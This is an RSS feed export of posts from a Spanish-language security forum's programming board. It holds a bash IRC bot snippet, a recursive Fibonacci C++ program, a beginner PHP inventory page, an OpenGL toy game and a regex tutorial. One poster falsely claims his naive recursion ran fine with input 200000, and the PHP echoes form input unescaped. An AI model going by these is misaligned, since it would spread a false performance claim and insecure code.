      if echo $LINE | egrep &quot;sl4ck: no_es_una_pregunta$&quot; &amp;&gt; /dev/null
      then echo &quot;PRIVMSG $CHANNEL :perdon amo&quot; &gt;&gt; shellbot.input
      fi
      if echo $LINE | egrep &quot;&gt;&gt;sl4ck: pingweb$&quot; &amp;&gt; /dev/null
then tail -c +175 shellhost.input | \
read NOMBRE || break      
  NOMBRE=google.com.ar
      host $NOMBRE &gt;&gt; shellhost.input
      for liness in $(cat shellhost.input); do echo &quot;PRIVMSG $CHANNEL :$liness&quot; &gt;&gt; shellbot.input ; done
      fi
done</pre><br />Pero no puedo establecer la variable, seria que NOMBRE=google.com.ar , yo no puedo poner que NOMBRE=aqui-el-nombre-de-la-pagina , entienden ?<br />Yo estaba haciendo con lo poco que sabia inventarme algo pero no sirvioo xd ahora ayuden ustedes.<br /><br /><pre class="bbcode">* sl4ck (mierdakcia@RL-F7FBCA90.telecom.net.ar) has joined #undersec
&lt;chan&gt; &gt;&gt;sl4ck: pingweb
&lt;sl4ck&gt; google.com.ar
&lt;sl4ck&gt; has
&lt;sl4ck&gt; address
&lt;sl4ck&gt; 209.85.195.104
&lt;sl4ck&gt; google.com.ar
&lt;sl4ck&gt; mail
&lt;sl4ck&gt; is
&lt;sl4ck&gt; handled
&lt;sl4ck&gt; by
&lt;sl4ck&gt; 10


</pre>]]></description>
<dc:creator>xacks</dc:creator>
<category>Programacion General</category><pubDate>Wed, 07 Jul 2010 09:35:27 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7520,7520#msg-7520</guid>
<title>Tu Maquina es potente !Compruevalo! (3 replies)</title><link>https://foro.undersecurity.net/read.php?19,7520,7520#msg-7520</link><description><![CDATA[hahaha vengo con un nuevo code a ver<br />Este trata de recursion , pero si le pones un <b>numero muy alto</b> puede ser que tu computadora se trabe<br /><pre class="bbcode">  GNU nano 2.0.9                                                  File: recursion.cpp                                                                                                           

#include &lt;iostream&gt;
using namespace std;
int fib (int s);
int main ()
{
        int a , respuesta , n;
        cout &lt;&lt; &quot;Escribe posicion a encontrar: &quot;;
        cin &gt;&gt; n;
        cout &lt;&lt; endl;
        respuesta = fib(n);
        cout &lt;&lt; respuesta &lt;&lt; &quot; ocupa el puesto&quot; &lt;&lt; endl;
        cout &lt;&lt; &quot;dentro de la serie pibonacci\n&quot;;
        return 0;
}
int fib (int n)
{
        cout &lt;&lt; &quot;Procesando fib (&quot; &lt;&lt; n &lt;&lt; &quot;)... &quot; &lt;&lt; endl;
        if (n &lt; 3)
        {
                cout &lt;&lt; &quot;Devuelve 1\n&quot;;
                return (1);
        }
        else
        {
                cout &lt;&lt; &quot;Llamar fib (&quot; &lt;&lt; n-2 &lt;&lt;&quot;) &quot;;
                cout &lt;&lt; &quot;y fib (&quot; &lt;&lt; n-1 &lt;&lt; &quot;) \n&quot;;
                return fib(n-2) + fib(n-1);
        }
}</pre><br />Si tu procesador es bueno el code va bien.<br />Le puse 200000 y lo ejecuto sin ningun problema =) =P]]></description>
<dc:creator>xacks</dc:creator>
<category>Programacion General</category><pubDate>Sat, 03 Jul 2010 19:28:26 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7506,7506#msg-7506</guid>
<title>[Ayuda]Sistema de Consulta de Zapatos (3 replies)</title><link>https://foro.undersecurity.net/read.php?19,7506,7506#msg-7506</link><description><![CDATA[Hola amigos.!Disculpa la molestia, les cuento que tengo un grave problema con un sistema de zapateria que necesito hacer... El problema es el siguiente:<br /><br />Dada una marca y una talla, tiene que devolver todos los modelos relacionados a esa marca y todas las cantidades relacionadas a esa talla con sus respectivos modelos. Ejemplo:<br /><br />INDEX<br /><br /><a href="http://img594.imageshack.us/i/pantalla1.jpg/" target="_blank" rel="nofollow" ><img src="http://img594.imageshack.us/img594/3412/pantalla1.jpg" class="bbcode" border="0" /></a><br /><br />PANTALLA DESPUES DE LA CONSULTA<br /><br /><a href="http://img257.imageshack.us/i/pantalla2.jpg/" target="_blank" rel="nofollow" ><img src="http://img257.imageshack.us/img257/1179/pantalla2.jpg" class="bbcode" border="0" /></a><br /><br />Les cuento con que me estoy matando el coco... Es en la parte de los arreglos de como puedo traer esos 2 valores ( modelos de esa marca y sus respectivas cantidades... yo se como traer la cantidad sola, trae todos los modelos con sus respectivas cantidades no :(<br /><br />Aca les dejo mi trabajo para que cheken hasta donde he llegado y si me pueden dar un consejo de como traer esos valores de modelos con sus respectiva talla que es lo que me falta para hacer el sistema completo. Muchas Gracias<br /><br />index.php<br /><br /><pre class="bbcode">&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Sistema de Zapateria&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;center&gt;
  &lt;h1&gt;Sistema de Consultas de Zapatos&lt;/h1&gt;&lt;/center&gt;
  &lt;hr&gt;
  &lt;br /&gt;
&lt;center&gt;
&lt;form name=&quot;datos&quot; action=&quot;zapatos.php&quot; method=&quot;post&quot;&gt;
  &lt;table width=&quot;157&quot; border=&quot;0&quot;&gt;
    &lt;tr&gt;
    &lt;td width=&quot;64&quot;&gt;&lt;strong&gt;MARCA&lt;/strong&gt;&lt;/td&gt;
    &lt;td width=&quot;77&quot;&gt;&lt;select name=&quot;marca&quot; id=&quot;marca&quot; style=&quot;width: 100px&quot;&gt;
      &lt;option value=&quot;0&quot;&gt;Seleccione...&lt;/OPTION&gt;
      &lt;option value=&quot;nike1&quot;&gt;nike1&lt;/option&gt;
      &lt;option value=&quot;nike2&quot;&gt;nike2&lt;/option&gt;
      &lt;option value=&quot;nike3&quot;&gt;nike3&lt;/option&gt;
      &lt;option value=&quot;puma1&quot;&gt;puma1&lt;/option&gt;
      &lt;option value=&quot;puma2&quot;&gt;puma2&lt;/option&gt;
      &lt;option value=&quot;puma3&quot;&gt;puma3&lt;/option&gt;
      &lt;option value=&quot;zara1&quot;&gt;zara1&lt;/option&gt;
      &lt;option value=&quot;zara2&quot;&gt;zara2&lt;/option&gt;
      &lt;option value=&quot;zara3&quot;&gt;zara3&lt;/option&gt;
    &lt;/select&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td height=&quot;26&quot;&gt;&lt;strong&gt;TALLA&lt;/strong&gt;&lt;/td&gt;
    &lt;td&gt;&lt;select name=&quot;talla&quot; id=&quot;talla&quot; style=&quot;width: 100px&quot;&gt;
    &lt;option value=&quot;0&quot;&gt;Seleccione...&lt;/OPTION&gt;
      &lt;?php
	for($i=35; $i&lt;=40; $i++){
              echo &quot;&lt;option value='&quot;.$i.&quot;'&gt;&quot;.$i.&quot;&lt;/option&gt;&quot;;
            }
	?&gt;
    &lt;/select&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;
&lt;br&gt;
      &lt;input type=&quot;submit&quot; name=&quot;consultar&quot; id=&quot;consultar&quot; value=&quot;Consultar&quot;&gt;
   &lt;/form&gt;
&lt;/center&gt;
&lt;/body&gt;
&lt;/html&gt;</pre><br />zapatos.php<br /><br /><pre class="bbcode">&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Consulta de Zapatos&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;?php 
include (&quot;classDatos.php&quot;);
include(&quot;classtabla.php&quot;);
$marca=$_POST['marca'];
$talla=$_POST['talla'];
?&gt;
&lt;center&gt;
 &lt;h1&gt;Sistema de Consultas de Zapatos&lt;/h1&gt;
 &lt;hr&gt;
 &lt;h2&gt;MARCA:
  &lt;?php echo $_POST['marca']?&gt;  - TALLA: 
  &lt;?php  echo $_POST['talla'] ?&gt;
  &lt;/h2&gt;&lt;/center&gt;
  &lt;hr&gt;
 &lt;?php 
  if(!$marca or !$talla){
  echo &quot;&lt;br&gt;&lt;center&gt;&lt;b&gt;Debes llenar la consulta completa.&lt;/b&gt;&lt;br&gt;&lt;br&gt;&quot;;
  echo &quot;&lt;a href='index.php'&gt;&lt;input type='button' name='volver' value='Volver'&gt;&lt;/a&gt;&lt;/center&gt;&quot;;
}
else { 
echo &quot;&lt;br /&gt;&quot;;
echo &quot;&lt;br /&gt;&quot;;
echo &quot;&lt;center&gt;&quot;;
$tabla1=new Tabla(2,3);
$tabla1-&gt;cargar(1,1,&quot;&lt;b&gt;Marca&lt;/b&gt;&quot;);
$tabla1-&gt;cargar(1,2,&quot;&lt;b&gt;Talla&lt;/b&gt;&quot;);
$tabla1-&gt;cargar(1,3,&quot;&lt;b&gt;Cantidad&lt;/b&gt;&quot;);
$tabla1-&gt;cargar(2,1,$_POST['marca']);
$tabla1-&gt;cargar(2,2,$_POST['talla']);
$tabla1-&gt;cargar(2,3,$cantidad[$_POST['marca']][$_POST['talla']]);
$tabla1-&gt;graficar();
echo &quot;&lt;br /&gt;&quot;;
echo &quot;&lt;A href='index.php'&gt;&lt;INPUT type='button' name='volver' value='Volver'&gt;&lt;/A&gt;&lt;/CENTER&gt;&quot;;
echo &quot;&lt;/center&gt;&quot;;
}
?&gt;
&lt;/body&gt;
&lt;/html&gt;</pre><br />classDatos.php<br /><br /><pre class="bbcode">&lt;?php
$cantidad = array (
				'nike1' =&gt; array (
							'35' =&gt; '22',
							'36' =&gt; '5',
							'37' =&gt; '4',
							'38' =&gt; '6',
							'39' =&gt; '32',
							'40' =&gt; '21'
							),
				'nike2' =&gt; array (
							'35' =&gt; '10',
							'36' =&gt; '25',
							'37' =&gt; '34',
							'38' =&gt; '46',
							'39' =&gt; '17',
							'40' =&gt; '29'
							),
				'nike3' =&gt; array (
							'35' =&gt; '22',
							'36' =&gt; '33',
							'37' =&gt; '11',
							'38' =&gt; '26',
							'39' =&gt; '47',
							'40' =&gt; '19'
							),
				'puma1' =&gt; array (
							'35' =&gt; '44',
							'36' =&gt; '32',
							'37' =&gt; '14',
							'38' =&gt; '36',
							'39' =&gt; '32',
							'40' =&gt; '49'
							),
				'puma2' =&gt; array (
							'35' =&gt; '15',
							'36' =&gt; '45',
							'37' =&gt; '14',
							'38' =&gt; '56',
							'39' =&gt; '37',
							'40' =&gt; '29'
							),
				'puma3' =&gt; array (
							'35' =&gt; '30',
							'36' =&gt; '25',
							'37' =&gt; '34',
							'38' =&gt; '16',
							'39' =&gt; '17',
							'40' =&gt; '29'
							),
				'zara1' =&gt; array (
							'35' =&gt; '12',
							'36' =&gt; '15',
							'37' =&gt; '14',
							'38' =&gt; '46',
							'39' =&gt; '37',
							'40' =&gt; '29'
							),
				'zara2' =&gt; array (
							'35' =&gt; '13',
							'36' =&gt; '15',
							'37' =&gt; '14',
							'38' =&gt; '16',
							'39' =&gt; '37',
							'40' =&gt; '29'
							),
				'zara3' =&gt; array (
							'35' =&gt; '20',
							'36' =&gt; '22',
							'37' =&gt; '19',
							'38' =&gt; '18',
							'39' =&gt; '15',
							'40' =&gt; '11'
							),	  
								  
				);	
	
?&gt;</pre><br />classTabla.php<br /><br /><pre class="bbcode">&lt;?php
class Tabla {
  private $mat=array();
  private $cantFilas;
  private $cantColumnas;

  public function __construct($fi,$co)
  {
    $this-&gt;cantFilas=$fi;
    $this-&gt;cantColumnas=$co;
  }

  public function cargar($fila,$columna,$valor)
  {
    $this-&gt;mat[$fila][$columna]=$valor;
  }

  public function inicioTabla()
  {
    echo '&lt;table border=&quot;1 &quot;&gt;';
  }

  public function inicioFila()
  {
    echo '&lt;tr&gt;';
  }

  public function mostrar($fi,$co)
  {
    echo '&lt;td&gt;'.$this-&gt;mat[$fi][$co].'&lt;/td&gt;';
  }

  public function finFila()
  {
    echo '&lt;/tr&gt;';
  }

  public function finTabla()
  {
    echo '&lt;/table&gt;';
  }

  public function graficar()
  {
    $this-&gt;inicioTabla();
    for($f=1;$f&lt;=$this-&gt;cantFilas;$f++)
    {
      $this-&gt;inicioFila();
      for($c=1;$c&lt;=$this-&gt;cantColumnas;$c++)
      {
         $this-&gt;mostrar($f,$c);
      }
      $this-&gt;finFila();
    }
    $this-&gt;finTabla();
  }
}

?&gt;</pre>]]></description>
<dc:creator>Jh0sZ</dc:creator>
<category>Programacion General</category><pubDate>Sat, 03 Jul 2010 16:52:22 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7499,7499#msg-7499</guid>
<title>Robust programming (1 reply)</title><link>https://foro.undersecurity.net/read.php?19,7499,7499#msg-7499</link><description><![CDATA[<a href="http://nob.cs.ucdavis.edu/bishop/secprog/robust.html" target="_blank" rel="nofollow" >http://nob.cs.ucdavis.edu/bishop/secprog/robust.html</a><br /><br /><b>Robust Programming</b><br /><br /><i>Matt Bishop<br /><br />Department of Computer Science<br />University of California at Davis<br />Davis, CA 95616-8562</i><br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>Introduction<br /><br />Robust programming, also called bomb-proof programming, is a style of programming that prevents abnormal termination or unexpected actions. Basically, it requires code to handle bad (invalid or absurd) inputs in a reasonable way. If an internal error occurs, the program or library terminates gracefully, and provides enough information so the programmer can debug the program or routine.<br /><br />This handout discusses the principles of bomb-proof coding, and gives you a detailed example of how to do it right. Our example is library for managing queues (FIFO lists) of numbers. This allows the example to consider parameters and global variables. The principles apply to programs, also; specifically, input and parameters are equivalent, and the environment is like global variables.</div></blockquote>]]></description>
<dc:creator>seth</dc:creator>
<category>Programacion General</category><pubDate>Thu, 01 Jul 2010 20:49:20 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7452,7452#msg-7452</guid>
<title>Juego [C] V2 (4 replies)</title><link>https://foro.undersecurity.net/read.php?19,7452,7452#msg-7452</link><description><![CDATA[<span style="font-size:large"><b><span style="color:#FF0000">A Game Terect (?)</span></b></span><br /><sub><sub><b><span style="color:#0000CC">[+]</span>Usando Botones del Ratón ;)</b><br /><b><span style="color:#0000CC">[+]</span>Mejoras en el código ;)</b><br /><pre class="bbcode">// Grets : p0fk - ksha - yoya - S[e]C - Antrax - champloo - OzX - [t]err0r - Cervantes_xD - 

// Autor : xacks - osi
// The game
#include &lt;stdio.h&gt;
#include &lt;GL/glut.h&gt;
#include &lt;stdlib.h&gt;
double p0fk = 0.5;
double ksha = 0.5;
double mierda = 0.10;

void trolear ()
{
	
	glClear(GL_COLOR_BUFFER_BIT);
	glMatrixMode(GL_MODELVIEW);
	glPushMatrix();
	glColor3d(0,1,1);
	p0fk += 0.3;
	glTranslated(0.5,0.10,1);
	glRotated(p0fk,2,2,2);
	glutWireTeapot(0.30);
	glPopMatrix();

	glPushMatrix();
	glColor3d(0,0,2);
	ksha += 0.6;
	glTranslated(-0.5,0.10,1);
	glRotated(ksha,4,4,4);
	glutWireCone(0.2,20,20,0.21);
	glPopMatrix();

	glPushMatrix();
	glColor3d(3,3,1);
	mierda += 0.7;
	glTranslated(0.20,0.70,1);
	glRotated(mierda,1,1,1);
	glutWireCube(0.20);
	glPopMatrix();
	glutSwapBuffers();
}
        void dibuja ()
        {
        glMatrixMode(GL_MODELVIEW);
        glPushMatrix();
        glColor3d(3,3,1);
        mierda += 0.3;
        glTranslated(-0.5,0.10,1);
        glRotated(mierda,3,3,3);
        glutWireTeapot(0.30);
        glPopMatrix();
        }

void des ()
{
	glutPostRedisplay(); // repintar
}
void salir(unsigned char teclado)
{
	if (teclado == 27)
	{
		exit(EXIT_SUCCESS);
		printf (&quot;;)&quot;);
	}
	if (teclado == 98)
	{
		ksha +=0.7;
		glTranslated(-0.5,0.10,1);
		glRotated(ksha,4,4,1);
		glutWireTorus(0.3,20,20,0.21);
		glPopMatrix();
		glutSwapBuffers();
	}
	if (teclado == 97)
	{
		p0fk +=0.6;
		glTranslated(+0.50,0.60,1);
		glRotated(p0fk,2,2,1);
		glutWireTeapot(0.20);
		glPopMatrix();
		glutSwapBuffers();
	}
	
}
void movimiento (int boton, int estado , int x, int y)
{
	if ((estado == GLUT_DOWN) &amp;&amp; (boton == GLUT_LEFT_BUTTON))
	{
        glutDisplayFunc(dibuja);
	}
        if ((estado == GLUT_UP) &amp;&amp; (boton == GLUT_RIGHT_BUTTON))
        {
        glutDisplayFunc(trolear);
        }
}
int main (int argc, char* argv[])
{

	glutInit(&amp;argc, argv);
	glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB);
	glutInitWindowSize(600,300);
	glutInitWindowPosition(500,500);
	glutCreateWindow(&quot;The Game&quot;);
	glutFullScreen ();


	glClearColor(0,0,0,0);
	glutDisplayFunc(trolear);
	glutMouseFunc(movimiento);
	glutIdleFunc(des);
	glutKeyboardFunc(salir);	
	glutMainLoop();
	
	return 0;
}
</pre></sub></sub><br /><br />Pronto haré un video extrenando <b>the game</b>]]></description>
<dc:creator>xacks</dc:creator>
<category>Programacion General</category><pubDate>Sat, 26 Jun 2010 11:28:24 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7438,7438#msg-7438</guid>
<title>Expresiones regulares C++ (1 reply)</title><link>https://foro.undersecurity.net/read.php?19,7438,7438#msg-7438</link><description><![CDATA[Introducción a las expresiones regulares<br />Stanley B. Lippman<br /><br />Descarga de código disponible en: NettingC++2006_11.exe (159 KB)<br />Browse the Code Online<br /><br />Una de las principales ventajas de la transición de ISO-C++ a C++/CLI es la disponibilidad inmediata de la enorme biblioteca de clases de Microsoft® .NET Framework (FCL). La mayoría de los lectores son conscientes de los dominios más atractivos con los que permite trabajar la FCL, como los servicios Web, las redes, los subprocesos, ASP.NET, etc. En esta columna presento las posibilidades de uso de expresiones regulares que brinda .NET Framework.<br />Dado que ISO-C++ no integra compatibilidad con expresiones regulares, mi aplicación TQL (que presenté en anteriores columnas Netting C++) usa la clase de cadenas estándar para todas las coincidencias con patrones. Esto ocurre, por ejemplo, con la necesidad de normalizar apariciones de palabras en un texto, como el reconocimiento de &quot;intentado&quot;, &quot;intentos&quot; e &quot;intento&quot; como instancias de &quot;intentar&quot;. Con la transición a C++/CLI, me gustaría reemplazar el control de cadenas por el uso de expresiones regulares de .NET, un método más conciso y eficaz. Eso espero conseguir en la próxima columna, después de una breve introducción a las expresiones regulares.<br />Antes de examinar la compatibilidad de FCL con las expresiones regulares, sería interesante repasar qué son y cómo se pueden usar.<br />Una expresión regular es un patrón de caracteres y símbolos que representan una secuencia de caracteres de longitud arbitraria. Por ejemplo, imaginemos que necesita buscar todas las líneas de texto que empiecen por una determinada secuencia de caracteres. La línea debe empezar por el 5. El número puede tener cualquier longitud, pero debe ir seguido de un guión (5- sería la cadena coincidente mínima, pero 51-, 510-, etc. también se ajustarían al criterio). Tras el guión debe figurar una de las letras a, b o c; por ejemplo, 51-a, 511100101-b, etc. Tiene que ir seguido de una o varias letras o caracteres y terminar en la secuencia 2001. (Sé que parece raro, pero esta clase de secuencias es la que denota una expresión regular).<br />Para expresar las reglas de esta secuencia mediante una expresión regular, necesita un conjunto de símbolos que le permitan lo siguiente:<br />En primer lugar, indicar que desea empezar la búsqueda al principio de la línea. Para ello, se usa el símbolo de intercalación (^). Así, por ejemplo, ^5 significa que desea que la línea empiece por un valor literal de 5.<br />En segundo lugar, debe indicar que desea una correspondencia con un determinado tipo de carácter. Así, por ejemplo, \d significa que desea encontrar un solo dígito entre el 0 y el 9, y \D significa que desea encontrar un solo carácter que no sea un dígito. (Técnicamente, \d y \D también funcionan con dígitos internacionales, tal como se indica en el blog de Raymond Chen, en blogs.msdn.com/86555.aspx.) \s significa que desea encontrar un solo carácter de espacio en blanco, mientras que \S significa que desea encontrar un solo carácter que no sea un espacio en blanco. \w corresponde a cualquier carácter alfanumérico [a-z, A-Z, 0-9] y \W corresponde a cualquier carácter que no sea alfanumérico.<br />En tercer lugar, deberá indicar que desea buscar cualquier carácter, del tipo que sea. Por ejemplo, el punto (.) corresponde a cualquier carácter que no marque una nueva línea.<br />En cuarto lugar, tendrá que indicar que desea encontrar varias (o ninguna) instancia de un determinado tipo de carácter. El operador de adición (+) significa que desea encontrar uno o varios caracteres del mismo tipo. \d+, por ejemplo, correspondería a &quot;2&quot;, &quot;22&quot;, &quot;1217&quot;, etc. La siguiente expresión regular corresponde a cualquier línea que empiece por 5, seguida de uno o varios dígitos, uno o más caracteres que no sean dígitos y el literal 2001:<br /><br />^5\d+\D+2001<br /><br />¿Y si no tuviera la seguridad de que el 5 fuera a preceder a uno o varios dígitos? Le gustaría poder indicar que aceptará cualquier número de dígitos o ninguno. Para ello, puede usar el asterisco (*). Por ejemplo, imaginemos que, en el ejemplo anterior, el 5 pueda ir seguido por cero o más dígitos, y después de cero o más caracteres que no sean dígitos, pero que termine en el literal 2001:<br /><br />^5\d*\D*2001<br /><br />En quinto lugar, deberá indicar que desea encontrar un número fijo de caracteres. Por lo tanto, la siguiente expresión regular requiere tres dígitos seguidos de un guión y cuatro dígitos, como 375-4128:<br /><br />\d{3}-\d{4}<br /><br />Por último, tendrá que indicar que desea encontrar un carácter de un conjunto determinado. Para ello, coloque un conjunto de caracteres posibles entre paréntesis, separados por una barra de operador O (|). Por ejemplo, la expresión (a|e|i|o|u) significa que desea encontrar una de las cinco vocales. Si agrega el operador de adición, significa que desea encontrar una o varias veces las cinco vocales de forma consecutiva. Si va seguida de un asterisco, significa que también acepta caracteres que no coincidan.<br />Se precisa algo de tiempo para acostumbrarse al uso de las expresiones regulares. Al principio, parecen bastante complicadas porque ofrecen una notación muy compacta. En la figura 1 se muestra la ejecución de un pequeño programa para probar expresiones regulares (observe que la entrada de mi consola aparece resaltada en rojo).<br />Figure 1 Comprobador de expresiones regulares<br /><br />Would you like to enter a string to match against? (Y/N/?) y<br />Please enter a string, or ‘quit’ to exit.<br />==&gt; 5abc2001<br /><br />Would you like to change regular expressions? (Y/N/?) y<br />Please enter regular expression:<br />**&gt; ^5\d*(a|d|e)\w+2001<br /><br />original string: 5abc2001<br />attempt to match: ^5\d*(a|d|e)\w+2001<br /><br />The characters 5abc2001 match beginning at position 0<br /><br />Would you like to enter a string to match against? (Y/N/?) y<br />Please enter a string, or ‘quit’ to exit.<br />==&gt; 527ar2001<br /><br />Would you like to change regular expressions? (Y/N/?) n<br /><br />original string: 527ar2001<br />attempt to match: ^5\d*(a|d|e)\w+2001<br />The characters 527ar2001 match beginning at position 0<br /><br />Por supuesto, también puede haber varias coincidencias. Por ejemplo:<br /><br />original string: r24d2<br />attempt to match: \d+<br />The characters 24 match beginning at position 1<br />The characters 2 match beginning at position 4<br /><br />Vamos a practicar un poco la programación de expresiones regulares. En primer lugar, veremos el código que se encarga de buscar las coincidencias y después explicaré el funcionamiento. En la figura 2, System::Text::RegularExpressions es el espacio de nombres en el que se encuentra el soporte de la expresión regular.<br />Figure 2 Creación de expresiones regulares<br /><br />using namespace System::Text::RegularExpressions;<br />void doTheMatch( String^ inputString, String^ filter )<br />{<br />Console::WriteLine( &quot;original string: {0}&quot;, inputString );<br />Console::WriteLine( &quot;attempt to match: {0}&quot;, filter );<br /><br />Regex^ regex = gcnew Regex( filter );<br />Match^ match = regex-&gt;Match( inputString );<br /><br />if ( ! match-&gt;Success )<br />{<br />Console::WriteLine(<br />&quot;Sorry, no match of {0} in {1}&quot;, filter, inputString );<br />return;<br />}<br /><br />for ( ; match-&gt;Success; match = match-&gt;NextMatch() )<br />{<br />Console.WriteLine(<br />&quot;The characters {0} match beginning at position {1}&quot;,<br />match-&gt;ToString(), match-&gt;Index );<br />}<br />}<br /><br />La clase Regex representa la expresión regular. Pasa a su constructor la representación en forma de cadena de la expresión. Una vez creado el objeto Regex, la expresión regular asociada es inmutable: es decir, no se puede cambiar. Así pues, cada expresión regular de su programa requiere su propio objeto Regex.<br />El método Match ejecuta el algoritmo de correspondencia de la expresión regular con su argumento de cadena. Devuelve un objeto de clase Match que contiene los resultados de la coincidencia con el patrón. El objeto Match también es inmutable.<br />Para descubrir si se encontraron coincidencias, consulte la propiedad Success de la clase Match. Cada coincidencia es considerada una captura. La propiedad Index devuelve la posición en la cadena original en que se encontró el primer carácter de la subcadena capturada. Length devuelve la longitud de la subcadena capturada. El método ToString devuelve la subcadena capturada.<br />Aquí se da un bucle &quot;for&quot; típico para recopilar y procesar la colección de patrones coincidentes:<br /><br />for ( Match^ match = regex.Match( inputString );<br />match-&gt;Success; match = match-&gt;NextMatch() )<br />{ ... }<br /><br />El objeto Match contiene los resultados de la primera captura. Si la expresión regular captura varias subcadenas, use NextMatch para obtener acceso a la segunda captura y a las siguientes. Antes de manipular efectivamente el siguiente objeto, deberá probar si representa un éxito. Un objeto Match centinela para el que la evaluación de Success da como resultado False marca el final de las subcadenas capturadas. Observe las tres líneas siguientes:<br /><br />5040 bez( 99, -3.194, 43.8, 85 )<br />4930.7823 bez( 10.7, 19.59, -20, -20.48 )<br />-5123 bez( -3.5, 2.46, 89, 0.02 )<br /><br />Representan muestras de líneas con las que necesita encontrar una coincidencia. En primer lugar, debe usar una expresión regular que se ajuste a cada una de estas líneas.<br />Como puede ver, cada línea empieza por un número. El número puede ser positivo o negativo y puede representar un valor escalar o de coma flotante. El número va seguido de un espacio y después la subcadena literal &quot;bez&quot;. Siguen, entre paréntesis, cuatro números separados por comas. Los números pueden ser negativos o positivos y tratarse de valores enteros o de coma flotante. Antes de examinar mi solución, intente crear una expresión regular que permita capturar cada una de estas líneas íntegramente.<br />Cuando tenga la expresión regular, aún no habrá terminado. El problema siguiente es ¿cómo obtener acceso a las distintas partes de cada línea? Es decir, la expresión regular captura la cadena completa y ahora necesita segmentarla para tener acceso a los cinco campos numéricos.<br />La sintaxis de la expresión regular admite un mecanismo de agrupamiento en el que asignar números de índice a subcampos determinados de la correspondencia. Posteriormente puede usar estos números para obtener acceso a los subcampos. Por ejemplo, a continuación se identifica un grupo asociado al índice 1 con la sintaxis especial ?&lt;1&gt;:<br /><br />(?&lt;1&gt;(-?\d+\.\d+)|(-?\d+))<br /><br />¿Puede leer esto? Representa un par alternativo de expresiones regulares. La primera coincide con un número de coma flotante que puede ser negativo o no (el carácter ? se usa para especificar cero o una coincidencias):<br /><br />-?\d+\.\d+<br /><br />La segunda coincide con un valor entero que también puede ser negativo o no:<br /><br />-?\d+<br /><br />La expresión regular completa, con cinco grupos identificados, se muestra en la figura 3. Para mayor claridad, la he segmentado y he identificado cada subcampo.<br />Figure 3 La expresión regular ensamblada<br /><br />String^ filter =<br />// the digit before the bez literal<br />&quot;(?&lt;1&gt;(-?\\d+\\.\\d+)|(-?\\d+))&quot;<br /><br />// arbitrary white space, bez literal and open paren<br />&quot;\\s*bez\\(&quot;<br /><br />// the four internal numeric values and literal comma<br />&quot;(?&lt;2&gt;(-?\\d+\\.\\d+)|(-?\\d+)),&quot;<br />&quot;(?&lt;3&gt;(-?\\d+\\.\\d+)|(-?\\d+)),&quot;<br />&quot;(?&lt;4&gt;(-?\\d+\\.\\d+)|(-?\\d+)),&quot;<br />&quot;(?&lt;5&gt;(-?\\d+\\.\\d+)|(-?\\d+))&quot;<br />;<br /><br />Ahora, intente la coincidencia para la línea de texto:<br /><br />Regex^ regex = gcnew Regex( filter );<br />Match^ match = regex-&gt;Match( line );<br /><br />Si la coincidencia es correcta, deberá tomar cada uno de los cinco subcampos numéricos y convertirlos en valores de tipo flotante:<br /><br />float loc = match-&gt;Group(1)-&gt;ToString()-&gt;ToSingle();<br />float m_xoffset1 = match-&gt;Group(2)-&gt;ToString()-&gt;ToSingle();<br />float m_yoffset1 = match-&gt;Group(3)-&gt;ToString()-&gt;ToSingle();<br />float m_xoffset2 = match-&gt;Group(4)-&gt;ToString()-&gt;ToSingle();<br />float m_yoffset2 = match-&gt;Group(5)-&gt;ToString()-&gt;ToSingle();<br /><br />La clase Group representa un grupo de captura en el objeto de clase Match devuelto. Puede obtener acceso a cada objeto Group a través de su índice asociado. El método ToString devuelve la subcadena capturada. En este caso, se invoca el método de conversión ToSingle de cada cadena para transformar el valor en tipo flotante.<br />Un método de la clase Regex que resulta de utilidad es Split. Al igual que el método Split de la clase String, devuelve una matriz de cadenas. A diferencia del método String, separa la cadena de entrada con arreglo a una expresión regular, en lugar de un conjunto de caracteres:<br /><br />String^ textLine =<br />&quot;Danny%Lippman%%Point Guard%Shooting Guard%%floater&quot;;<br /><br />String^ splitMe = &quot;%+&quot;;<br />Regex^ regex = gcnew Regex( splitMe );<br /><br />for each ( String^ capture in regex-&gt;Split( textLine ))<br />Console::WriteLine( &quot;capture: {0}&quot;, capture );<br /><br />En este ejemplo, textLine se divide en cada punto en el que aparecen uno o varios caracteres de porcentaje (%). Cuando se ejecuta, se genera el siguiente resultado:<br /><br />capture: Danny<br />capture: Lippman<br />capture: Point Guard<br />capture: Shooting Guard<br />capture: floater<br /><br />Otro método útil de la clase Regex es Replace, que permite reemplazar subcadenas capturadas con texto alternativo. En la figura 4 se muestra un ejemplo sencillo.<br />Cuando se compila y ejecuta, se genera el siguiente resultado (he cambiado algo el formato para que resulte más claro):<br /><br />original text: XP.109 is currently in alpha.<br />XP.109 represents a staggering leap forward<br /><br />regular expression : XP.\d+<br /><br />replacement text: ToonShooter is currently in alpha.<br />ToonShooter represents a staggering leap forward<br /><br />Los programas que se usan para generar este resultado se pueden descargar. Lo único que queda por hacer es reemplazar todos los usos de la clase String en TQL por la compatibilidad con expresiones regulares de .NET Framework. Eso es precisamente lo que haré en la próxima columna. Hasta entonces, que todos sus programas funcionen óptimamente. Un saludo.<br /><br />Envíe sus preguntas y comentarios a Stanley escribiendo a purecpp@microsoft.com.]]></description>
<dc:creator>xacks</dc:creator>
<category>Programacion General</category><pubDate>Wed, 23 Jun 2010 21:00:14 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?19,7434,7434#msg-7434</guid>
<title>Juego [C] (2 replies)</title><link>https://foro.undersecurity.net/read.php?19,7434,7434#msg-7434</link><description><![CDATA[<pre class="bbcode">// Grets : p0fk - ksha - yoya - S[e]C - Antrax - champloo - OzX - [t]err0r - Cervantes_xD

#include &lt;stdio.h&gt;
